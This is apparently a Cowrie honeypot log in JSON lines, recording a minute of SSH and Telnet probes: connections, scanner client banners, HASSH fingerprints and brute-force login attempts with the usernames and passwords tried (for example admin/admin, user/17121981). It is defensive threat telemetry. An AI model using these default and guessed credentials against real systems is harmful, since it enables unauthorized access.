{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:31.904902Z","src_ip":"84.239.42.8","session":"09cb1191d1e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"access","message":"login attempt [admin/access] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:32.416496Z","src_ip":"84.239.42.8","session":"09cb1191d1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.68.186","src_port":36498,"dst_ip":"10.17.0.5","dst_port":22,"session":"d090ca39f60b","protocol":"ssh","message":"New connection: 35.195.68.186:36498 (10.17.0.5:22) [session: d090ca39f60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:33.416842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:33.497414Z","src_ip":"35.195.68.186","session":"d090ca39f60b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:33.549654Z","src_ip":"84.239.42.8","session":"09cb1191d1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.68.186","src_port":36502,"dst_ip":"10.17.0.5","dst_port":22,"session":"650e150c00c4","protocol":"ssh","message":"New connection: 35.195.68.186:36502 (10.17.0.5:22) [session: 650e150c00c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:33.652972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:33.657895Z","src_ip":"35.195.68.186","session":"650e150c00c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:33.736758Z","src_ip":"35.195.68.186","session":"650e150c00c4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:34.774677Z","src_ip":"35.195.68.186","session":"650e150c00c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:34.856978Z","src_ip":"35.195.68.186","session":"650e150c00c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:34.864124Z","src_ip":"35.195.68.186","session":"d090ca39f60b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.31.127","src_port":39990,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f1b9e40ddda","protocol":"ssh","message":"New connection: 34.78.31.127:39990 (10.17.0.5:22) [session: 4f1b9e40ddda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:35.541668Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:35.547005Z","src_ip":"34.78.31.127","session":"4f1b9e40ddda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.31.127","src_port":39994,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c52b7ddbb8","protocol":"ssh","message":"New connection: 34.78.31.127:39994 (10.17.0.5:22) [session: 82c52b7ddbb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:37.630030Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:37.712467Z","src_ip":"34.78.31.127","session":"82c52b7ddbb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:41.570477Z","src_ip":"35.195.68.186","session":"d090ca39f60b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28793,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f1e79e5e19","protocol":"telnet","message":"New connection: 212.55.149.117:28793 (10.17.0.5:23) [session: 17f1e79e5e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:49.054955Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.31.127","src_port":23350,"dst_ip":"10.17.0.5","dst_port":22,"session":"6df3b384a245","protocol":"ssh","message":"New connection: 34.78.31.127:23350 (10.17.0.5:22) [session: 6df3b384a245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:57.943800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:57.977123Z","src_ip":"34.78.31.127","session":"6df3b384a245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:58.079462Z","src_ip":"34.78.31.127","session":"6df3b384a245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:02:58.089735Z","src_ip":"34.78.31.127","session":"6df3b384a245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":6691,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef0948d11ced","protocol":"ssh","message":"New connection: 2.57.121.25:6691 (159.203.135.109:22) [session: ef0948d11ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:01.918416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:01.925184Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:02.026596Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17121981","message":"login attempt [user/17121981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:02.506361Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"171090","message":"login attempt [user/171090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:03.611321Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170982","message":"login attempt [user/170982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:04.716458Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17091988","message":"login attempt [user/17091988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:05.822014Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170889","message":"login attempt [user/170889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:06.927705Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:08.034909Z","src_ip":"2.57.121.25","session":"ef0948d11ced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60166,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3537e35cdb1","protocol":"ssh","message":"New connection: 193.32.162.145:60166 (10.17.0.5:22) [session: c3537e35cdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:13.351313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:13.358135Z","src_ip":"193.32.162.145","session":"c3537e35cdb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:13.464119Z","src_ip":"193.32.162.145","session":"c3537e35cdb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet123","message":"login attempt [ubuntu/sollet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:13.783928Z","src_ip":"193.32.162.145","session":"c3537e35cdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:14.893666Z","src_ip":"193.32.162.145","session":"c3537e35cdb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":55118,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da0cfc43749","protocol":"ssh","message":"New connection: 2.57.122.210:55118 (10.17.0.5:22) [session: 4da0cfc43749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:23.652783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:23.658052Z","src_ip":"2.57.122.210","session":"4da0cfc43749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:23.763514Z","src_ip":"2.57.122.210","session":"4da0cfc43749","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stake","password":"stake","message":"login attempt [stake/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:24.097398Z","src_ip":"2.57.122.210","session":"4da0cfc43749","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:25.223212Z","src_ip":"2.57.122.210","session":"4da0cfc43749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.104.203","src_port":53724,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eab034bc8dc","protocol":"ssh","message":"New connection: 198.20.104.203:53724 (10.17.0.5:22) [session: 3eab034bc8dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.383634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.393724Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.494015Z","src_ip":"198.20.104.203","session":"3eab034bc8dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.49012756347656,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:03:32.817476Z","src_ip":"212.55.149.117","session":"233e39f43fef","protocol":"telnet"}
